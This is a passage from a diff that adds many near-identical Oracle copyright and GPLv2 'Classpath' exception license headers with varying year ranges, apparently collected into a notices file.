+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+Copyright (c) 2001, 2011, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+Copyright (c) 2001, 2012, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+Copyright (c) 2001, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+Copyright (c) 2002, 2003, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+Copyright (c) 2002, 2004, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+Copyright (c) 2002, 2005, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+Copyright (c) 2002, 2006, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+Copyright (c) 2002, 2007, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+Copyright (c) 2002, 2008, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+Copyright (c) 2002, 2009, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+Copyright (c) 2002, 2010, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+Copyright (c) 2002, 2011, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+Copyright (c) 2002, 2012, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+Copyright (c) 2002, 2013, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+Copyright (c) 2002, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+Copyright (c) 2003, 2004, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+Copyright (c) 2003, 2005, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+Copyright (c) 2003, 2006, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+Copyright (c) 2003, 2007, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+Copyright (c) 2003, 2008, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+Copyright (c) 2003, 2009, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+Copyright (c) 2003, 2010, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+Copyright (c) 2003, 2011, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+Copyright (c) 2003, 2013, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+Copyright (c) 2003, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+Copyright (c) 2003,2010, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+Copyright (c) 2004, 2005, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+Copyright (c) 2004, 2008, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+Copyright (c) 2004, 2009, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+Copyright (c) 2004, 2010, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
+by Oracle in the LICENSE file that accompanied this code.
+
+This code is distributed in the hope that it will be useful, but WITHOUT
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+version 2 for more details (a copy is included in the LICENSE file that
+accompanied this code).
+
+You should have received a copy of the GNU General Public License version
+2 along with this work; if not, write to the Free Software Foundation,
+Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+
+Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
+or visit www.oracle.com if you need additional information or have any
+questions.
+
+-------------------------------------------------------------------
+
+Copyright (c) 2004, 2011, Oracle and/or its affiliates. All rights reserved.
+DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
+
+This code is free software; you can redistribute it and/or modify it
+under the terms of the GNU General Public License version 2 only, as
+published by the Free Software Foundation.  Oracle designates this
+particular file as subject to the "Classpath" exception as provided
